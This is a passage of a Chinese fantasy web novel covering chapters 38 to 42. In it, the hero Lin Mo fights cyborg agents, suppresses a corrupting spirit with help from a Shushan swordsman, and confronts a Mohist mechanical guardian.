“死不了!”林默咬牙站直,破妄右眼森寒地扫过剩余的四名敌人,“还剩四个杂碎……和不到一分钟!”
他体内薪火本源近乎枯竭,武魂战意沉寂,右臂重创。
但那股从绝境中杀出的凶悍气势,却让剩下的四名鬣狗特工,那冰冷的电子眼中,第一次闪烁出名为“忌惮”的数据流。
洞内,残火未熄。洞外,夜色如墨。
短暂的死寂后,是更凶险的搏杀前奏!
第三十八章 薪尽?薪燃!
洞内死寂,唯有熔岩滴落的声响和林默粗重的喘息。
焦黑的右臂无力垂落,每一次呼吸都牵扯着丹田被死水冲击的青霖针,剧痛钻心。
暗金薪火近乎枯竭,在经脉中如游丝般艰难流转。
剩余的四名鬣狗特工,冰冷的电子眼疯狂闪烁,数据流瀑布般刷新。
同伴被诡异“污染”反杀的冲击,让他们那套精准的杀戮程序出现了短暂的混乱。
“威胁目标:林默。状态:右臂重创(战力评估下降73%),能量反应:微弱(濒临枯竭),污染指数:高位波动(不稳定)。”
“次级目标:墨家机关师。状态:载具中度损伤,能量储备:47%。”
“战术修正:规避近距离接触污染源!远程火力覆盖!优先清除次级目标,孤立主目标!”
冰冷的电子音在头盔内响起,瞬间统一了指令!
四具外骨骼骤然分散,猩红的枪口同时抬起,高能粒子束撕裂空气,不再是集火林默,而是分成两股,一股射向操控木鸢的墨灵,一股射向正在给密匣更换能量核心的青鸢!
“小心!”林默瞳孔骤缩,想动,但枯竭的身体和剧痛的右臂让他慢了半拍!
“师妹低头!”墨灵厉喝,木鸢猛地一个急坠翻滚,险险避开射向自己的光束,但另一道射向青鸢的光束已近在咫尺!
青鸢只来得及抱头蜷缩,天工密匣暴露在外!
就在这千钧一发之际——
嗡!
青鸢怀中那枚婆婆赠予的、雕刻着浴火凤凰的银质挂坠,骤然爆发出灼目的红光!
一只尺许大小、纯粹由离火构成的凤凰虚影尖啸而出,狠狠撞上那道猩红光束!
轰!
离火与粒子束猛烈对撞,炸开刺目光团!
凤凰虚影哀鸣消散,挂坠瞬间变得黯淡无光,但终究挡下了这致命一击!
青鸢被**的气浪掀飞,重重摔在岩壁上,口鼻溢血,密匣脱手!
“青鸢!”墨灵目眦欲裂,木鸢炮口疯狂倾泻火力,试图压制敌人,但四名鬣狗走位飘忽,外骨骼防御力场全开,硬抗着炮火继续锁定青鸢和林默!
“目标挂坠:检测到高能离火守护印记(已耗尽)!”
“执行清除!”
两名鬣狗调转枪口,猩红光束再次锁定挣扎爬起的青鸢!
另外两名则牢牢锁定试图冲过来的林默,高频链锯发出嗜血的嗡鸣,封死他的路线!
绝境再现!墨灵被火力压制无法支援,青鸢失去守护濒临绝境,林默自身难保!
“呃啊!”林默强行催动最后一丝薪火,暗金光芒在左拳亮起,准备硬撼链锯!
丹田内,死水的冲击因为这不顾一切的压榨而陡然加剧!
青霖针剧烈震颤,一丝比之前更加冰冷、带着低语般蛊惑的惨绿气息,竟顺着经脉,猛地窜向他的左臂!
内外交煎!薪火将熄!
就在这意识都开始模糊的刹那——
破妄右眼捕捉到一丝极其微弱、却熟悉无比的厚重气息!
来自……他怀中沉寂的天工开武图!那气息,竟与他脚下祖焱窟深处残留的、几乎被抽干的祖焱源火,产生了一丝微弱的共鸣!
一个近乎本能的念头,如同黑暗中划过的闪电,照亮了他混乱的意识!
薪火……燃秽……焚源……
焚的是秽,那……引的又该是什么?
“墨灵!”林默用尽全身力气嘶吼,声音沙哑如破锣,“最大火力!轰我脚下三米!岩层最薄处!快!”
“什么?”墨灵以为自己听错了!轰他?
“信我!”林默咆哮,破妄右眼金光死死盯着脚下某一点,“那是……祖焱残存的‘火种’!”
祖焱火种?
墨灵脑中瞬间闪过林默在祖焱湖中引动源火的画面!没有时间思考,绝对的信任让她瞬间执行!
木鸢仅存的炮口瞬间过载充能,一道比之前粗大数倍的幽蓝能量光束,撕裂空气,狠狠轰在林默指定的地面!
轰隆——!!!
碎石纷飞,烟尘弥漫!一个深坑瞬间出现!
坑底,一点微弱到近乎熄灭、却散发着无比精纯原始气息的暗金火星,在碎石中明灭不定!
正是祖焱源火最后残存的火种!
几乎在火种暴露的同一刹那!
林默眼中闪过一丝疯狂!
他不再压制那缕窜向
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左手、带着骸渊低语的惨绿死水气息,反而主动引导它,连同自己最后残存的、微弱到极致的薪火意志,狠狠……撞向坑底那点暗金火星!
“薪火……引源!”
嗡——!!!
那缕惨绿死水气息,如同最贪婪的引信,率先触碰到暗金火种!
冰冷邪秽与精纯源火的碰撞,瞬间引发了剧烈的、毁灭性的能量激荡!
但就在这毁灭爆发的临界点!
林默那微弱却无比坚韧的薪火意志,如同在**中点燃的火柴,精准地投入了这毁灭的漩涡中心!
以死水为引,以意志为桥!
薪火……引源!
轰——!!!
被死水刺激得狂暴欲炸的祖焱火种,如同找到了宣泄的出口,又如同被那不屈的意志点燃,化作一道虽然细小、却带着焚尽八荒气势的暗金火流,顺着林默引导的意志之桥,轰然涌入他干涸的经脉!
“呃啊啊啊——!”
如同熔岩灌体!远比之前融合祖焱更狂暴、更原始的力量瞬间充斥林默的身体!
他全身皮肤寸寸龟裂,暗金火焰从裂缝中喷涌而出!焦黑的右臂更是发出不堪重负的**!
但与之对应的,是枯竭的薪火本源如同久旱逢甘霖,疯狂暴涨!
丹田内,那冲击封印的死水本体似乎感应到了同源气息的湮灭和这股新生力量的霸道,发出一声惊怒的尖啸,冲击骤然加剧!青霖针的裂纹……清晰可见!
力量!足以焚灭眼前一切阻碍的力量!伴随着身体崩解的剧痛和死水反扑的倒计时!
林默猛地抬头,燃烧着暗金火焰的双瞳,如同择人而噬的凶兽,死死锁定了那两名正要对青鸢下**的鬣狗特工!
“杂碎……给我……滚开!!!”
他左脚狠狠一踏!祖焱窟地面轰然炸裂!
整个人化作一道燃烧的暗金流星,后发先至,带着焚灭万物的狂暴气势,撞向那两名鬣狗!
左拳之上,凝聚着刚刚引燃的祖焱源力与残存的薪火本源,毫无花哨,只有最原始的……力量与愤怒!
焚源灭质,薪尽?
不!
薪尽之处……亦可薪燃!
第三十九章 裂针,低语
“杂碎……滚开!!!”
燃烧的暗金流星,裹挟着焚灭万物的狂暴气势,狠狠撞向那两名意图绞杀青鸢的鬣狗特工!
太快!太凶!
两名鬣狗只来得及将高频链锯交叉格挡在身前,外骨骼防御力场功率瞬间推至极限!
轰——!!!
林默燃烧的左拳,毫无花哨地砸在交叉的链锯之上!
没有僵持!没有角力!
只有摧枯拉朽的毁灭!
暗金祖焱源力混合着残存的薪火意志,如同烧红的铁锤砸向朽木!
嗤啦——咔嚓!!!
高频链锯瞬间扭曲、熔断!厚重的合金装甲如同纸糊般向内塌陷、融化!恐怖的巨力透过装甲,狠狠灌入特工体内!
“呃啊——!”
两声短促凄厉的惨叫戛然而止!
两名鬣狗如同被高速列车正面撞击,外骨骼连同里面的人体轰然炸开!化作漫天燃烧的金属碎片与焦炭!
狂暴的火焰冲击波席卷而出,将附近熔岩都硬生生压灭一片!
一拳!双杀!
“威胁目标爆发性增长!能量峰值超载!污染指数……紊乱!”剩余两名鬣狗的电子音带着刺耳的杂波,冰冷的数据流终于被纯粹的惊骇取代!
他们毫不犹豫地放弃攻击,外骨骼引擎全开,化作两道黑影,疯狂向后暴退,拉开绝对距离!
林默如同魔神般立于**的余烬中,全身皮肤龟裂,暗金火焰从裂缝中喷涌,右臂焦黑无力垂落,左拳上火焰缭绕,缓缓滴落着熔化的金属液滴。力量在奔腾,但身体每一寸都在发出崩解的哀鸣!
“林默!别追!”墨灵的声音带着惊惧,“你的身体撑不住了!扫描显示细胞崩溃速度超过阈值!”
“咳咳……”青鸢挣扎着爬起,顾不得伤痛,扑向掉落的密匣,“师姐!快!生命稳定剂!最高浓度!”
“没用的……”林默声音嘶哑,如同破风箱拉动。
他低头,看着自己龟裂燃烧的左臂,感受着体内狂暴奔腾、几乎要将自己撕碎的祖焱源力。
更让他心沉的是丹田——那被青霖针钉住的死水核心,正疯狂冲击着封印!
咔嚓!
一声极其细微、却如同惊雷般在他灵魂深处响起的碎裂声!
破妄右眼清晰地“看”到,丹田内那枚青玉般的定魂针上,一道清晰的裂痕,从针尖蔓延至针身!
青霖针……裂了!
“呃!”林默猛地捂住丹田,一股冰冷彻骨、带着无尽怨毒与贪婪的意念,如同冰锥般狠狠刺入他的脑海!
“痛吗?……”
“恨吗?……”
“愤怒吗?……”
“把你的身体……交给我……”
“我能给你……真正的力量……”
“撕碎他们……吞噬一切……”
“沉沦……才是解脱……”
诡异的低语,如同无数冰冷的蛇,在他意识中疯狂缠绕、蛊惑!死水的意志,正透过封印的裂痕,疯狂渗透!
“闭嘴!”林默发出一声野兽般的咆哮,左拳狠狠砸向地面!
轰隆!
祖焱源力宣泄而出,地面炸开一个深坑!狂暴的力量暂时压制了低语,但丹田的冲击和青霖针的裂纹,却愈发清晰!
“林默!清醒点!”墨灵的木鸢射出两支高浓度生命稳定剂,精准打入林默颈侧,同时焦急地看向青鸢,“定星盘!还能不能激发一次干扰?!”
“不行!能量回路刚才过载了!需要冷却……”青鸢看着密匣上闪烁的红色警告,急得快哭了。
就在这内忧外患的绝境!
嗡——!!!
林默怀中,那沉寂的天工开武图,仿佛感应到了他体内狂暴的祖焱源力、濒临崩溃的封印以及那死水的低语,猛地爆发出前所未有的强烈嗡鸣!
图卷自主悬浮而起,暗金光芒大放!
一道苍茫、古老、带着大地脉动与指引意志的波动,如同实质的涟漪,瞬间扫过整个祖焱窟!
嗡!
青鸢抱着的定星盘仿佛受到召唤,核心符文疯狂闪烁,一道微弱的银色光束瞬间投射到洞窟深处某处看似寻常的岩壁上!
岩壁在银光照射下,竟如水波般荡漾开来!一个仅容一人通过的、幽暗深邃的洞口,无声无息地显露出来!
洞口深处,隐隐传来更加古老、更加厚重的……大地气息!
西南秘境的入口!被天工图与定星盘共鸣强行打开了!
“是秘境入口!”墨灵又惊又喜,“快!进去!里面或许能隔绝圣堂探测,找到压制死水的方法!”
“走!”林默强忍剧痛和脑海中的低语,当机立断!他
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一把抓起悬浮的天工图,化作一道燃烧的残影,率先冲向那幽暗洞口!
墨灵操控木鸢卷起青鸢和天工密匣,紧随其后!
“目标进入未知空间门!阻止他们!”两名暴退的鬣狗反应过来,猩红光束疯狂射向洞口!
轰轰轰!
光束轰在洞口荡漾的空间涟漪上,大部分被扭曲弹开,只有少数能量溅射*去!
林默后背被一道能量擦中,闷哼一声,速度不减,一头扎入幽暗之中!墨灵的木鸢也险险避过,带着青鸢消失在洞口。
嗡!
空间涟漪瞬间平复,洞口消失,岩壁恢复如初,仿佛从未出现过。
两名鬣狗停在洞口前,冰冷的电子眼扫描着恢复原状的岩壁,数据流疯狂刷新。
“空间坐标消失!能量信号彻底隔绝!”
“目标逃脱!”
“请求总部支援!派遣空间稳定与强攻单位!”
“坐标:千火寨祖焱窟深处!”
冰冷的指令发出。
其中一名鬣狗特工走到林默最后轰出的深坑旁,外骨骼探针伸出,小心翼翼地收集了一些沾染着暗金火焰与极其微弱惨绿气息的泥土样本。
“特殊样本获取:‘薪火’与‘死水’混合残留物。”
“分析价值:极高。”
“封存,等待回收。”
祖焱窟重归死寂,只余下燃烧的残骸和冰冷的杀戮机器。
而在那幽暗未知的秘境入口之内。
噗通!
林默重重摔落在冰冷坚硬的岩石地面上,体表的暗金火焰明灭不定,龟裂的皮肤渗出鲜血。天工图落在他手边,光芒黯淡下去。
“呃……”他蜷缩着身体,左手死死捂住丹田,破妄右眼死死盯着那布满裂纹的青霖针,以及针下疯狂冲击、低语愈发清晰的惨绿死水。
“交出……身体……”
“力量……给你……”
低语如同跗骨之蛆。
墨灵和青鸢落在他身边,木鸢受损严重,光芒微弱。
“林默!撑住!”墨灵的声音带着恐慌。
青鸢手忙脚乱地打开密匣寻找医疗工具。
黑暗,冰冷,低语,剧痛。
未知的秘境,是生路?还是更深的绝渊?
青霖针的裂纹,如同死亡的倒计时,在死水的低语中,一分一秒地扩大。
第四十章 焚识,薪影
冰冷坚硬的岩石紧贴着林默灼痛的脸颊。
死水的低语如同跗骨之蛆,在意识深处疯狂回响:
“放弃吧……”
“痛苦……无意义……”
“融入……永恒……”
“呃啊……”林默蜷缩着,左手死死抠进地面,指甲崩裂出血。
破妄右眼死死“盯”着丹田——那枚布满裂痕的青霖针在惨绿死水的冲击下,正发出令人牙酸的**!裂纹,在肉眼可见地蔓延!
“林默!坚持住!”墨灵的声音带着哭腔,木鸢的扫描光束在他身上剧烈晃动,“精神波动异常!死水意志正在侵蚀他的意识!青鸢!快想办法!”
“我在试!天工密匣的生命稳定系统对精神侵蚀无效!”青鸢手忙脚乱地翻找着密匣里的古旧卷轴,“有没有……有没有墨家针对邪秽精神污染的记载……”
“交出……身体……”低语陡然变得尖锐,带着不容抗拒的诱惑,“给你力量……撕碎一切阻碍……”
“撕碎……”林默眼神恍惚了一瞬,体表微弱的暗金薪火剧烈摇曳,竟隐隐透出一丝惨绿!
他挣扎着想要站起,目标……竟是身旁焦急的墨灵!
“不好!他被控制了!”青鸢尖叫!
墨灵瞳孔骤缩,木鸢瞬间横移!林默燃烧着诡异绿焰的左爪擦着木鸢外壳掠过,带起一串刺眼的火花!
“林默!醒醒!是我!”墨灵的声音带着撕裂般的痛楚。
这一击似乎耗尽了林默残存的力量,他踉跄倒地,蜷缩得更紧,喉咙里发出野兽般的嗬嗬声,意识在薪火与死水的撕扯中濒临破碎。
就在这意识即将彻底沉沦的刹那!
破妄右眼捕捉到怀中天工开武图一丝微不可查的脉动!
那脉动,竟与丹田内疯狂冲击封印的死水核心,产生了一丝诡异的……共鸣?
一个疯狂到极致的念头,如同黑暗中燃烧的流星,划破了他混乱的意识!
焚源灭质……焚的是能量核心。
那侵蚀灵魂的低语……是否也有其……“源点”?
破妄……破妄!看穿虚妄,直指本质!
“给我……看穿它!”林默在灵魂深处发出无声的咆哮!
破妄右眼金光前所未有的凝聚,不再抗拒那侵入脑海的低语,反而主动迎上,如同最精密的探针,狠狠刺入那冰冷怨毒的意念洪流之中!
轰——!!!
难以形容的灵魂剧痛瞬间炸开!仿佛有亿万根冰针在搅动脑髓!
但在那无边的痛苦与混乱中,破妄金光穿透层层叠叠的恶念与诱惑,死死锁定了一点!
一点隐藏在低语洪流最深处、不断变幻形态、散发着最纯粹邪秽与蛊惑气息的……幽暗“核心”!
死水意志的“识源”!
“找到……你了!”林默的意识在剧痛中发出无声的狞笑!
不再犹豫!他将体内最后残存的、那缕属于自身不屈意志的微弱薪火,连同破妄金光捕捉到的“识源”坐标,狠狠……撞了上去!
薪火燃秽……焚源灭质……第三境——
焚识!
嗡——!!!
没有惊天动地的**。
只有一声源自灵魂层面、尖锐到超越听觉极限的凄厉惨嚎!
那如同跗骨之蛆的冰冷低语,如同被投入炼狱熔炉的雪片,瞬间消融、蒸发!缠绕意识的惨绿气息被霸道地焚尽!
“呃!”林默身体猛地一颤,喷出一口带着黑色冰渣的污血!眼中的混乱与绿焰瞬间褪去,取而代之的是劫后余生的极度疲惫与清明。
脑海……清净了!
死水低语的侵蚀,被强行焚灭!
代价是灵魂如同被灼烧过般剧痛,破妄右眼金光黯淡如风中残烛。
而丹田内,那失去低语侵蚀手段的死水本体,似乎被彻底激怒,发出了无声的、歇斯底里的咆哮!
惨绿光芒暴涨,对着布满裂痕的青霖针,发起了最后的、疯狂的冲击!
咔嚓嚓——!!!
青霖针上的裂纹瞬间连接成网!眼看就要彻底崩碎!
“林默!”墨灵和青鸢扑过来,又惊又喜又惧。
“还没……完!”林默嘶哑道,眼神却死死盯着洞口方向。
破妄右眼虽黯淡,却捕捉到了一股比鬣狗恐怖十倍、冰冷纯粹到极致的能量波动,正在迅速逼近!
“警告!高维空间扭曲反应!强度……无法估量!”青鸢怀里的定星盘发出凄厉的警报!
嗡——!!!
祖焱窟入口处,那片被天工图打开后又封闭的空间,如同平静的水面被投入巨石,猛地剧烈扭曲起来!
一个边缘闪烁着幽蓝电光的、纯粹由能量构成的立方体,硬生生从虚空中“挤”了出来!
立方体中心,悬浮着一个全身笼罩在银白色流线型装甲内的人影,冰冷的电子复眼扫视着洞内。
圣堂科技,第七执行员——辉光!
“空间坐标锁定,目标确认。”冰冷无情的电子合成音响起,如同死神的宣判,“‘薪火’林默,‘死水’污染源,清除程序启动。”
辉光抬起一只覆盖着装甲的手,他掌心前方,空间开始扭曲、折叠,凝聚成一个散发着毁灭气息的幽蓝光点!
绝对的力量碾压!远超鬣狗!
林默重伤濒死,墨灵木鸢半废,青鸢战力忽略不计!青霖针即将崩碎!
就在这千钧一发、万念俱灰之际——
“哼。”
一声极其轻微、却清晰无比地穿透了空间扭曲嗡鸣与毁灭能量波动的冷哼,突兀地在洞内响起。
这声音温润如玉,却带着一种斩断万物的锋锐,以及……一丝淡淡的不屑。
一道凝练如实质、温润却不容抗拒的青色剑意,仿佛无视了空间的距离,凭空出现在林默身前,化作一面薄如蝉翼、却流转着古老山川河岳虚影的光盾!
辉光掌心那毁灭的幽蓝光点正好射出!
嗤——!
足以湮灭钢铁
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的幽蓝光束撞在青色光盾上,如同泥牛入海,仅仅激起一圈微不可查的涟漪,便彻底消散!
“什么?!”辉光冰冷的电子音第一次出现了明显的波动!装甲复眼瞬间锁定了洞口另一个方向!
那里,不知何时,静静站着一个人。
来人一身洗得发白的青衫,身形颀长,背负一柄样式古朴的长剑。
面容被一层淡淡的青色雾气遮掩,看不真切,唯有一双眸子,温润平和,却仿佛蕴藏着万千剑影生灭。
他腰间悬着一枚青皮葫芦,散发着淡淡的酒香与剑意。
他没有看辉光,目光平静地落在蜷缩在地、体内惨绿光芒疯狂冲击最后封印的林默身上,眉头几不可察地微微一蹙。
“蜀山剑气?!”墨灵失声惊呼,带着难以置信的狂喜!
青鸢更是瞪大了眼睛,看着那青衫身影,如同看到了神话。
辉光的电子复眼疯狂闪烁,冰冷的数据流瞬间淹没了视野:
“能量性质:高维东方武道剑气—蜀山谱系!”
“能级评估:SSS+—极度危险/战略级!”
“任务风险评估:超出阈值!不可抗力!”
“指令更新:放弃清除!最高优先级撤退!空间折跃启动!”
嗡!
那幽蓝立方体瞬间包裹住辉光,空间剧烈扭曲,下一刻,立方体连同里面的身影,如同被橡皮擦抹去般,瞬间消失在原地!只留下一丝冰冷的空间涟漪。
强敌,竟被一道目光,一声冷哼,一缕剑意……惊退!
洞内死寂。
青衫人这才缓缓收回目光,看向地上濒临极限的林默,温润的声音响起,如同山涧清泉,却带着不容置疑的威严:
“青霖针碎在即,死水将蚀魂夺魄。”
“小子,想活命,就忍住。”
“此痛……甚于刮骨。”
话音未落,他并指如剑,隔空朝着林默丹田,轻轻一点!
嗤——!
一道凝练到极致、仿佛能刺穿虚空的青色剑气,无视了空间距离,精准无比地刺入林默丹田,正正点在那枚即将彻底崩碎的青霖针上!
“呃啊啊啊——!!!”
林默猛地弓起身,发出一声不似人声的凄厉惨嚎!比之前焚识强烈百倍的灵魂剧痛轰然爆发!他眼前一黑,彻底失去了意识。
在他昏迷前的最后一瞬,仿佛看到丹田内,那道青色剑气并未摧毁青霖针,反而化作无数细密玄奥的青色符文,如同最坚韧的藤蔓,将布满裂纹的青霖针与下方狂暴冲击的死水核心,一同……死死缠绕、封印!
新的封印,带着温润却无比坚韧的剑意,暂时取代了濒临破碎的青霖针。
而青衫人的身影,在点出那一指后,便如同融入青烟般,悄然消散在洞内,仿佛从未出现。
只留下昏迷的林默,惊魂未定的墨灵和青鸢,以及那枚悬浮在昏迷林默丹田上方、缓缓旋转、散发着古老剑意波动的青玉剑印。
第四十一章 剑印,墨城
冰冷。
死寂。
灵魂仿佛沉在万丈寒潭之底,意识被厚重的淤泥包裹。
唯有丹田处,一点温润却坚韧的凉意,如同黑暗中唯一的锚点,维系着林默不彻底沉沦。
“痛……好痛……”
不是身体的痛楚,而是灵魂被灼烧后的余烬,带着空洞的抽离感。那些被“焚识”强行撕裂的低语碎片,如同冰冷的玻璃渣,偶尔在意识深处划过。
“林默……林默!能听到吗?”
一个带着哭腔的、熟悉的声音,穿透了厚重的黑暗,如同投入潭水的石子。
“师姐!他眼珠动了!生命体征在回升!”另一个清脆的声音带着狂喜。
沉重的眼皮如同锈死的闸门,被一股力量艰难地撬开一丝缝隙。
昏暗的光线刺入。
墨灵布满泪痕、焦急的脸庞,和青鸢凑近的、带着惊喜的大眼睛,模糊地映入视野。
“呃……”林默想开口,喉咙却干涩灼痛,只发出一声模糊的气音。
“别动!千万别动!”墨灵的声音带着后怕的颤抖,木鸢伸出一支纤细的机械臂,小心翼翼地喂给他一点带着草木清香的液体。
温润的液体滑入喉咙,如同甘霖,稍稍滋润了干涸。
“你……你吓死我们了!”青鸢抹了把眼泪,声音哽咽,“昏迷了整整两天!要不是那位蜀山前辈留下的剑印护住你心脉,压制住死水,你……你……”
蜀山前辈?剑印?
林默混沌的意识猛地一清!昏迷前最后的画面瞬间涌入脑海——青衫人影,惊退辉光,隔空一指,丹田剧痛!
他猛地内视!
丹田内,那枚布满裂痕、摇摇欲坠的青霖针已然消失!
取而代之的,是一枚缓缓旋转的青玉小剑印记!
剑印古朴玄奥,散发着温润却无比坚韧的青色光晕,如同最精巧的藤蔓囚笼,将下方那团狂暴翻腾、散发着怨毒气息的惨绿死水核心,死死缠绕、封印!
死水的每一次冲击,都只能让剑印的青光微微荡漾,却无法撼动其根本!
好强的封印!
林默心中震撼,比起谢清徵的青霖针,这剑印的层次不知高了多少!但……这力量并非源于他自身。
“那位前辈……是谁?”林默声音嘶哑,终于能说出完整的句子。
墨灵和青鸢对视一眼,都摇了摇头。
“他留下剑印后就消失了,没留下名号。”墨灵低声道,“但那种剑气……纯粹、古老、浩瀚如渊海,绝对是蜀山最顶尖的存在!可能是谢前辈的师长!”
蜀山顶尖存在?林默心头一凛,这等人物为何会出手救他?仅仅是因为谢清徵的关系?还是……武魂?
“剑印虽强,但并非长久之计。”青鸢抱着天工密匣,小脸严肃,“师姐用木鸢扫描过了,剑印的能量与你体内的薪火本源……有微弱的排斥反应!它在无意识地‘净化’你外溢的薪火气息!”
林默一惊,立刻仔细感知。
果然!体表极其微弱、自发流转的暗金薪火,在靠近丹田剑印范围时,会被那温润青光无声地“梳理”、“净化”,虽然极其轻微,但那种格格不入的异样感确实存在!
排斥!蜀山的剑意,在排斥他的薪火本源!
这剑印,是保护伞,也是……枷锁!
“而且……”墨灵语气沉重,调出木鸢扫描林默身体的全息投影,“你强行引燃祖焱火种,又发动‘焚识’,对身体和灵魂的透支太恐怖了!经脉多处灼毁性损伤,灵魂本源黯淡,细胞活性严重不足。这伤势……寻常药物根本无效!”
她指着投影上触目惊心的红色*域:“更麻烦的是,祖焱残留在你体内的狂暴火毒,正在侵蚀你的根基!加上死水被封印前的疯狂反扑残留的阴寒死气……冰火交煎!你的身体就像一个随时会炸的破炉子!”
林默沉默地看着投影上那代表自己身体的、遍布红蓝交织危险光芒的模型。
破妄右眼虽黯淡,也能清晰感知到体内的混乱与脆弱,力量,似乎离他更远了。
“那……我们现在在哪?”他转移话题,打量四周。
这是一个巨大的、天然形成的溶洞。空气潮湿阴冷,弥漫着淡淡的硫磺味和古老岩石的气息。
洞壁上布满奇形怪状的钟乳石,地面崎岖不平,远处隐约传来地下暗河的轰鸣。
“还在那个秘境里。”青鸢接口,眼神亮了起来,“不过,我们找到了不得了的东西!”
她指向溶洞深处一个不起眼的角落。
那里,在几根粗大的钟乳石掩映下,矗立着一扇巨大的、紧闭的石门!
石门材质非金非石,呈现出一种厚重的青铜色泽,上面布满了复杂到令人目眩的齿轮、榫卯、符文浮雕!
许多地方已经覆盖着厚厚的苔藓和岁月的尘埃,但依旧能感受到其蕴含的磅礴力量与精密到极致的机关造物之美!
墨家机关城!这个念头瞬间划过林默脑海!天工图指引的终点!
“定星盘最后捕捉到的空间锚点,就指向这扇门!”墨灵的声音带着兴奋,“青鸢师妹用天工密匣初步扫描了,门上的核心符文阵列……是墨家最高等级的‘非攻’序列!绝对是墨家失落的遗迹入口!”
“非攻序列?”林默看向青鸢。
青鸢用力点头,小脸因激动而泛红:“师姐说的没错!这是墨家核心秘地才有的终极防御符文!我密匣里的资料只有残缺记载,想要打开它……难如登天!但只要能进去,里面一定有修复你伤势的机关秘宝!甚至……可能有关于武魂或者天工开物卷的记载!”
希望!巨大的希望就在眼前!
但林默看着那扇厚重、精密、死寂的青铜巨门,破妄右眼捕捉到其上流转的
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、极其隐晦却令人心悸的能量波动,这扇门,绝不仅仅是关着的那么简单。
“怎么打开?”他沉声问。身体状态如此糟糕,强攻是找死。
“需要‘钥匙’。”青鸢指着巨门中心一个复杂的、如同星图般的凹槽,“扫描显示,缺失了最核心的‘机枢’。没有正确的‘机枢’,强行触碰会激活‘非攻’序列的终极防御——‘万机之孽’!”
“万机之孽?”林默皱眉。
“一种……传说中墨家用来守护终极秘宝的禁忌机关造物。”墨灵的声音带着一丝寒意,“一旦激活,不死不休!以我们现在的情况……”
她的话没说完,但意思很明显,一个辉光就差点让他们团灭,更别说墨家终极守护了。
“机枢……会在哪?”林默看向青鸢。
青鸢咬着嘴唇,快速操作天工密匣,幽蓝光芒扫描着巨门和周围环境:“密匣资料库残缺……无法直接定位。但根据‘非攻’序列的建造规律,核心‘机枢’通常不会远离主门,可能藏匿在附近的附属机关或者……守护者身上!”
守护者?
林默心头一跳,破妄右眼猛地扫向溶洞深处那些巨大的钟乳石阴影!
几乎同时!
轰隆——!!!
一声沉闷的巨响从溶洞深处传来!地面微微震动!
紧接着,是令人牙酸的、巨大金属摩擦岩石的刺耳声响!
“警告!高能机关反应!生命体征……无法识别!强度……极高!”青鸢怀里的定星盘发出刺耳警报!
在溶洞深处最幽暗的角落,一个庞然大物缓缓从阴影中“站”了起来!
它高达近五米,通体由一种暗沉如青铜、却流转着幽蓝能量纹路的金属构成,外形如同一个巨大的人形与蜘蛛的结合体!
四条粗壮的金属步足深深刺入地面,上身是覆盖着厚重装甲的类人躯干,两只手臂末端不是手掌,而是不断旋转、闪烁着寒光的巨大钻头和喷吐着灼热蒸汽的管口!
它的头部,是一个不断旋转、闪烁着幽蓝光芒的多棱面晶体,冰冷的“视线”瞬间锁定了石门前的三人!
“万……万机之孽?!”青鸢的声音带着绝望的颤抖。
“不!是‘非攻守卫’!”墨灵死死盯着那巨大机关造物胸口一个不起眼的、残缺了核心部件的圆形凹槽,“它胸口……缺了‘机枢’!它就是钥匙的守护者!”
冰冷的机械嗡鸣声响起,那巨大机关守卫头部的多棱晶体幽蓝光芒大盛,锁定了三人,尤其是林默身上那枚悬浮的青玉剑印!
“检测……未授权生命体……”
“检测……高能量封印体…蜀山谱系……”
“威胁等级…高!”
“执行……清除程序!”
轰!
巨大的钻头手臂带着撕裂空气的尖啸,朝着林默三人……狠狠砸下!
第四十二章 非攻之隙
轰——!!!
巨大的钻头撕裂空气,带着毁灭的尖啸当头砸落!阴影瞬间吞没了三人!
“躲开!”墨灵嘶吼,璇玑木鸢动力全开,拖着青鸢险之又险地向侧方翻滚!
林默瞳孔骤缩!身体重伤迟滞,根本来不及完全闪避!
他只能将最后残存的、微弱的薪火本源灌注左臂,护住头脸,同时破妄右眼金光死死锁定那旋转钻头的轨迹!
不能硬抗!只能卸力!
“给我……偏!”
他左臂以一个极其刁钻的角度,带着微弱的暗金光芒,精准地拍在钻头侧面边缘!不是格挡,而是引导!
嗡!
钻头恐怖的动能被巧妙引偏一丝,擦着林默的身体狠狠砸在他身后的岩石地面上!
轰隆——!!!
碎石如同炮弹般劲射!地面被凿开一个巨大的深坑!
恐怖的冲击波将林默如同破布娃娃般掀飞出去,重重撞在远处的钟乳石上!
噗!
一口鲜血混杂着内脏碎片喷出,眼前阵阵发黑!
“林默!”青鸢尖叫,目眦欲裂。
“别管我!它的关节!”林默强忍剧痛,破妄右眼金光穿透烟尘,死死钉在非攻守卫连接钻头手臂的巨大肘关节处!
那里,幽蓝的能量纹路最为密集,但流转间存在着一丝极其细微、如同电路节点般的“间隙”!
“墨灵!扫描它的能量节点!青鸢!密匣干扰!”林默嘶声喊道,同时身体再次狼狈翻滚,躲开另一只手臂喷射出的灼热蒸汽束!
嗤啦!
蒸汽擦过地面,岩石瞬间被腐蚀得滋滋作响!
“明白!”墨灵的木鸢在空中急速盘旋,扫描光束如同探照灯般扫过守卫庞大的身躯,“能量核心在胸腔!但外部装甲太厚!等等……关节!肘部、膝部、颈部!能量节点薄弱!存在0.3秒的周期性能量回流间隙!”
“0.3秒!”青鸢抱着天工密匣,手指在光幕上快出残影,“师姐!给我争取一秒!我需要校准干扰频率!”
“好!”墨灵眼神决绝,木鸢仅存的炮口亮起危险的红光,“最大功率!过载射击!目标—头部晶体!”
轰!轰!轰!
三道粗大的能量光束狠狠轰向守卫头部不断旋转的多棱面晶体!
嗡!
守卫头部的晶体幽蓝光芒大盛,一层无形的能量护盾瞬间展开!
光束撞在护盾上,炸开刺目光团!护盾剧烈闪烁,守卫的注意力瞬间被吸引!
“就是现在!”青鸢厉喝!
天工密匣顶部探针疯狂旋转,一道肉眼可见的、高频震荡的幽蓝波纹瞬间扩散开来,精准地笼罩了守卫的钻头手臂肘关节!
嗤——滋啦!
守卫肘关节处密集的幽蓝能量纹路猛地一滞!如同短路般爆出一串刺眼的电火花!
那精密运转的能量回路出现了瞬间的紊乱!虽然不到半秒就被更强的能量流强行修复,但那个被破妄右眼捕捉到的“间隙”,**扰波强行扩大了!
“林默!间隙出现!0.5秒!”墨灵尖叫!
足够了!
林默眼中厉芒爆闪!身体如同压缩到极致的弹簧,在钻头手臂因关节紊乱而出现短暂迟滞的刹那,猛地弹射而起!
目标——钻头手臂与躯干连接的巨大肩关节!
那里,正是守卫胸口镶嵌“机枢”凹槽的侧上方!
破妄右眼清晰地看到,一股强大的能量正从胸腔核心流向手臂,而肩关节正是能量汇聚的枢纽!也是……最接近“机枢”的位置!
“给我……断!”
